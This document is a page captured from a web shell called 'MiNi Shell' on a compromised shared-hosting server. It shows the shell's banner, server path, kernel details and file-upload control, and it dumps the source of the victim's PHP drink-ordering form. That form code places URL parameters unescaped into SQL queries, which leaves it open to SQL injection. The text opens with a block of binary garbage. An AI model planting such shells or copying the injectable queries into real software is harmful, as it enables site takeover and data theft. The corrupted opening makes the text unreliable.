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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_moge/

Linux boscustweb5005.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_moge/order_form.backup230723.php

<?php
	/**
	 * version 1.0.1 2022-01-03
	 * version 1.0.3 2022-02-21 增加语言选项
	 * version 1.0.5 2022-03-06 修改英文页面有中文显示的bug。
	 * versino 1.0.7 2022-05-28 冷饮可以选择杯子大小,热饮杯子大小没有选择
	 * */
	require_once (__DIR__."/lib/php/config.inc.php");
	$pid = "";

	if(isset($_GET["pid"]) && ($_GET["pid"]!="")){
		$pid = $_GET["pid"];
		if(isset($_GET["spec"]) && ($_GET["spec"]!="")){
			$pre_spec = $_GET["spec"];
		}
		if(isset($_GET["cid"]) && ($_GET["cid"]!="")){
			$cus_id=$_GET['cid'];
			$prefer_spec = getCusPreferSpec($cus_id,$pid);
		}
	}else{
		prx("Invalid use!");
	}
	$sql = "select t1.*,t2.volume,t2.volume,t2.adding_grp1,t2.adding_grp2,t2.adding_grp3 from t_product t1 left join t_product_properties t2 on t1.code=t2.product_code where t1.code='$pid'";
	$res = mysqli_query($con,$sql);
	$check = mysqli_num_rows($res);

	if($check==0){
		prx("Invalid product id!");
	}else{
		$prdt_row = mysqli_fetch_assoc($res);
	}

	/**
	 * 从数据库中查询该客户是否有prefer的口味,或从历史订单中分析是否有prefer的口味。
	 * */
	function getCusPreferSpec($cus_id,$pid){
		return 0;
	}
?>
<!-- <script src="./lib/js/vendor/jquery/3.2.1/jquery-3.2.1.min.js"></script> -->
<script src="./lib/js/mo_com.js"></script>
<div class="modal-header">
  <h5 class="modal-title" id="MyOrderLabel"><?php echo getValueByLang($prdt_row,'name'); ?></h5>
  <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
	<form>
		<div class="container">
			<div class="row">
				<div class="col-5 d-flex align-items-center justify-content-center">
					<img src="<?PHP echo PRODUCT_IMAGE_SITE_PATH.$prdt_row['image']?>" class="m-auto" id="odrfm_img"/>
				</div>
				<div class="col-7 d-flex flex-column justify-content-around">
					<?PHP
						if($prdt_row['adding_grp1']<>""){
							$sql1 = "select t1.*,t2.description min_desc, t2.description_en min_desc_en,t3.description max_desc, t3.description_en max_desc_en from t_drink_adding t1 left join t_drink_adding_def t2 on (t1.item_id=t2.item_id and t1.min_val=t2.value) left join t_drink_adding_def t3 on (t1.item_id=t3.item_id and t1.max_val=t3.value) where def_grp_id=1 and t1.item_id in (".$prdt_row['adding_grp1'].") order by item_id asc"; 
							$res1 = mysqli_query($con,$sql1);
							while($row = mysqli_fetch_assoc($res1)){
						?>
						<div class="col-12 d-flex flex-row moge_row_wrapper">
							<div class="col-12 d-flex flex-row justify-content-between">
								<div class="col-4 text-center"><?PHP echo getValueByLang($row,'min_desc');?></div>
								<div class="col-3 " style="max-width: 40px;">
									<input type="range" class="form-range" spec min="<?PHP echo $row['min_val'];?>" max="<?PHP echo $row['max_val'];?>" step="1" value="<?PHP echo $row['default_val'];?>" id="<?PHP echo $row['item_name_en']."_bar";?>" name="<?PHP echo $row['item_name_en'];?>"/>
								</div>
								<div class="col d-none" id="<?PHP echo $row['item_name_en']."_val";?>"><?PHP echo ($row['default_val']==$row['max_val'])?getValueByLang($row,'max_desc'):getValueByLang($row,'min_desc');?></div>
								<div class="col-4 text-center"><?PHP echo getValueByLang($row,'max_desc');?></div>
							</div>	
						</div>
						<script>
							$(function(){
								var arr_val = [<?php echo "\"".getValueByLang($row,'min_desc')."\",\"".getValueByLang($row,'max_desc')."\"";?>];
								init_bar("<?PHP echo $row['item_name_en'];?>",arr_val);	
							})
						</script>
					<?PHP 
							}
						}else{
					?>
							<div class="col-12 d-flex flex-row justify-content-center h5">
					<?PHP echo $prdt_row['volume'];?>
							</div>
					<?PHP 
						}
					?>
					<div class="col-12 d-flex flex-row justify-content-center h3">
						<div class="col-6" id="product_price" unit=<?PHP echo $prdt_row["price"];?>>$<price adjust_price=<?PHP echo ($prdt_row["price2"]!=0)?($prdt_row["price2"]-$prdt_row["price"]):0;?>><?PHP echo $prdt_row["price"]/100;?><price></div>
					</div>
				</div>
				<div class="col-12">
					<div class="container p-0">	
						<?PHP
							$sql1 = "select * from t_drink_adding where def_grp_id=2 and item_id in (".$prdt_row['adding_grp2'].") order by item_id asc"; 
							$res1 = mysqli_query($con,$sql1);
							while($row = mysqli_fetch_assoc($res1)){
								$sql2 = "select * from t_drink_adding_def where item_id=".$row['item_id']." order by value asc";
								$res2 = mysqli_query($con,$sql2);
								$static_txt[$row['item_name_en']."_vals"] = "";
								$static_txt[$row['item_name_en']."_vals_en"] = "";
								while($add_item_row = mysqli_fetch_assoc($res2)){
									${$row['item_name_en']}[$add_item_row['value']] =	$add_item_row['description'];
									${$row['item_name_en']}[$add_item_row['value']."_en"] =	$add_item_row['description_en'];
									$static_txt[$row['item_name_en']."_vals"].=",\"".$add_item_row['description']."\"";
									$static_txt[$row['item_name_en']."_vals_en"].=",\"".$add_item_row['description_en']."\"";
								}
								$static_txt[$row['item_name_en']."_vals"] = substr($static_txt[$row['item_name_en']."_vals"],1);
								$static_txt[$row['item_name_en']."_vals_en"] = substr($static_txt[$row['item_name_en']."_vals_en"],1);
						?>
						<div class="row justify-content-between my-3">	
							<div class="col-3"><label for="<?PHP echo $row['item_name_en']."_bar";?>" class="form-label"><?PHP echo getValueByLang($row,'item_name');?></label></div>
							<div class="col-5">
								<input type="range" class="form-range" spec min="<?PHP echo $row['min_val'];?>" max="<?PHP echo $row['max_val'];?>" step="1" id="<?PHP echo $row['item_name_en']."_bar";?>" name="<?PHP echo $row['item_name_en'];?>" value="<?PHP echo $row['default_val'];?>"/>
							</div>
							<div id="<?PHP echo $row['item_name_en']."_val";?>" class="col-3 mo_text_right"><?PHP echo getValueByLang(${$row['item_name_en']},$row['default_val']);?></div>
						</div>
						<script>

							$(function(){
								var arr_val = [<?php echo getValueByLang($static_txt,$row['item_name_en']."_vals");?>];
								init_bar("<?PHP echo $row['item_name_en']?>",arr_val);	
							})
						</script>
						<?PHP 
							}
						?>

						<div class="my-3 adder_group" adder_group_name="topping" group_max="5">
					  	<label for="FormControlInput" class="h5">
					  		<?PHP
					  			$sql = "select * from t_drink_adding where item_id=".$prdt_row['adding_grp3'];
					  			$res = mysqli_query($con,$sql);
					  			$row = mysqli_fetch_assoc($res);
					  			echo getValueByLang($row,"item_name");
					  		?>
					  	</label>
					  	<hr style="margin: 0;"/>
							
							<?PHP
								$sql = "select t2.* from t_drink_adding_def t1 left join t_drink_topping t2 on t1.value=t2.ID where t1.item_id in (".$prdt_row['adding_grp3'].") order by ID asc";
								$res = mysqli_query($con,$sql);
								while($row = mysqli_fetch_assoc($res)){
							?>
					  	<div class="col-12 d-flex flex-row justify-content-between h5 my-3 ps-3 mo_adder_wrapper mo_adder_flex">
					  		<div class="col-3 topping_name"><?PHP echo getValueByLang($row,"name");?></div>
								<div class="col-4">
									<div class="d-flex flex-row mo_adder" spec min=<?php echo $row["min"];?> max=<?php echo $row["max"];?> value=<?php echo $row["default_val"];?> unit=<?php echo $row["price"];?> name="topping">
										<div class="col-3 text-center adder_btn mo_icon_minus" step=-1><i class="bi bi-dash-circle"></i></div>
										<div class="col-6 text-center" id="mo_value"></div>
										<div class="col-3 text-center adder_btn mo_icon_plus" step=1><i class="bi bi-plus-circle"></i></div>
									</div>
								</div>
								<div class="col-3 mo_text_right">+$<price>0.00</price></div>
							</div>									
							<?PHP 
								}
							?>

					  	<!-- <div class="col-12 d-flex flex-row justify-content-between h5 my-3 ps-3 mo_adder_wrapper">
					  		<div class="col-3">仙草</div>
								<div class="col-4">
									<div class="d-flex flex-row mo_adder" min=0 max=3 default=0 unit=50>
										<div class="col-3 text-center mo_icon_minus"><i class="bi bi-dash-circle"></i></div>
										<div class="col-6 text-center" id="mo_value"></div>
										<div class="col-3 text-center mo_icon_plus"><i class="bi bi-plus-circle"></i></div>
									</div>
								</div>
								<div class="col-3 mo_text_right">+$<price>0.50</price></div>
							</div> -->


						</div>
					</div>	
				</div>
			</div>
		</div>
	</form>
</div>
<div class="modal-footer">
	<div class="col-6 me-auto d-flex flex-row h4 mo_adder_wrapper mo_adder_flex sub_total">
		<div class="col-6">
			<div class="d-flex flex-row mo_adder" id="qty"  min=0 value=1 unit=<?PHP echo $prdt_row["price"];?>>
				<div class="col-3 text-center adder_btn mo_icon_minus" step=-1><i class="bi bi-dash-circle"></i></div>
				<div class="col-6 text-center" id="mo_value"></div>
				<div class="col-3 text-center adder_btn mo_icon_plus" step=1><i class="bi bi-plus-circle"></i></div>
			</div>
		</div>
		<div class="col-6 mo_text_right fw-bold">$<price><?PHP echo $prdt_row["price"]/100;?><price></div>
	</div>
	<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
	<button type="submit" class="btn btn-primary" id="add_cart">Add</button>
</div>

<script src="./lib/js/mo_com.js"></script>

<script>
  var	isFlyRunning = false;
	$(function(){
		$(".mo_adder").each(function(index){
			let default_val = parseInt($(this).attr("value"));
			default_val = (isNaN(default_val))?0:default_val;
			init_adder($(this),default_val);
		});

		$("input[type=range]").on("input",function(){
			$(this).attr("value",$(this).val());
		})
		$("#add_cart").on("click",function(){
			let spec = encodeDrinkSpec();
			let desc = getDrinkSpecDesc();
			let price = parseInt(parseFloat($(".sub_total").find("price").text())*100);
			let qty = parseInt($(".sub_total").find("#qty").attr("value"));
			<?PHP
			if(isset($pre_spec)){
				//说明是从购物车链接而来
			}else{
				//说明是从menu中新下订单而来
				echo "manage_cart(\"$pid\",spec,desc,qty,price,\"add\",closeOrderForm,null);\n";
			} 
			?>
		});

		if($("#Size_bar")!=undefined){
			$("#Size_bar").on("change",function(){
				//更改价格
				if($(this).val()==$(this).attr("min")){
					adjustSubTotal(-parseInt($("#product_price").find("price").attr("adjust_price")));
				}else{
					adjustSubTotal(parseInt($("#product_price").find("price").attr("adjust_price")));
				}
			});
		}
		if($("#Type_bar")!=undefined){
			$("#Size_bar").closest(".moge_row_wrapper").removeClass("d-none");
		}

		$("#Type_bar").on("input",function(){
			if($(this).val()==1){
				if($("#Size_bar")!=undefined){
					$("#Size_bar").closest(".moge_row_wrapper").addClass("d-none");
					if(($("#Size_bar").val()!=$("#Size_bar").attr("min"))){
						$("#Size_bar").val($("#Size_bar").attr("min"));
						$("#Size_bar").trigger("change");
					}
				}
			}else if($(this).val()==0){
				if($("#Size_bar")!=undefined){
					$("#Size_bar").closest(".moge_row_wrapper").removeClass("d-none");
				}				
			}
		});

	});

	function closeOrderForm(result){
		$('#MyOrder').modal('hide');
		$('#MyOrder').find(".modal-content").html("");
		//在此添加饮料加入到购物车的动画效果
		let obj_start = $(".mo_product_card").find("a[pid=<?PHP echo $pid; ?>]").find("img");
		$("#flyItem").find("img").attr("src",obj_start.attr("src"));
		fly(obj_start,$("#mo_shop_cart"),$("#flyItem"),result['qty'],result['total_item']);
	}

	function init_bar(name,arr_val){
		$("#"+name+"_bar").on("input",function(){
			$("#"+name+"_val").text(arr_val[$(this).val()-parseInt(($(this).attr("min"))?($(this).attr("min")):0)]);
		})
	}

	function getDrinkSpecDesc(){
		xml_str = "";
		$("*[spec]").each(function(){
			spec_name = $(this).attr("name");
			if(spec_name!="topping"){
				xml_str += "["+spec_name+"]";
				xml_str += spec_name+": "+$(this).parent().siblings("#"+spec_name+"_val").text();
				xml_str += "[/"+spec_name+"]";
			}else{
				let qty = parseInt($(this).find("#mo_value").text());
				if(qty>0){
					xml_str += "[topping]";
					xml_str += $(this).parent().siblings(".topping_name").text()+" x "+ qty;
					xml_str += "[/topping]";
				}
			}
		});
		return xml_str;
	}

function fly(obj_from,obj_to,obj_flyItem,qty,total_item){
	let o = obj_from[0].getBoundingClientRect();
	let d = obj_to[0].getBoundingClientRect();
	let offsetX = d.left + d.width / 2 - (o.left + o.width / 2);
	let offsetY = d.top + d.height / 2 - (o.top + o.height / 2);
	let scrollTop = document.documentElement.scrollTop || document.body.scrollTop || 0;
	let scrollLeft = document.documentElement.scrollLeft || document.body.scrollLeft || 0;

	let from={
		"left":o.left+scrollLeft+obj_from[0].clientWidth/2,
		"top":o.top + scrollTop + obj_from[0].clientHeight/2
	};
	let to={
		"left":d.left+scrollLeft,
		"top":d.top +scrollTop+ d.height/2
	}
	let scroll={"left":scrollLeft,"top":scrollTop};

	obj_flyItem.css({"display":"block","z-index":"1031"});
	flyNow(from,to,obj_flyItem,scroll,qty,total_item);
}

function flyNow(from,to,obj_flyItem,scroll,times,total_item){
	let scrollTop = document.documentElement.scrollTop || document.body.scrollTop || 0;
	let scrollLeft = document.documentElement.scrollLeft || document.body.scrollLeft || 0;
	let new_scroll = {"left":scrollLeft,"top":scrollTop};
	obj_flyItem.css({"left":from.left+"px",
					"top":from.top+"px"});
	obj_flyItem.css({"display":"block"});
	obj_flyItem[0].getBoundingClientRect();
	if(isFlyRunning == false){
		let offsetX = to.left - from.left;
		let offsetY = to.top - from.top + (new_scroll.top - scroll.top);
		obj_flyItem.css({"transform": "translateX("+offsetX+"px)"});
		obj_flyItem.find("img").css({"transform":"translateY("+ offsetY +"px)"});

		isFlyRunning = true;
		setTimeout(function(){
			obj_flyItem.css({"display":"none","transform":"translateX(0)",
						});
			obj_flyItem.find("img").css({"transform":"translateY(0)"});
			isFlyRunning = false;
			if(times>1){
				setTimeout(function(){
					flyNow(from,to,obj_flyItem,scroll,--times,total_item);												
				},50);
			}
		},495);
		setTimeout(function(){
			$(".moge_cart_qty").html(parseInt(total_item)-times+1);
		},495);
	}
}

</script>

Creat By MiNi SheLL
Email: devilkiller@gmail.com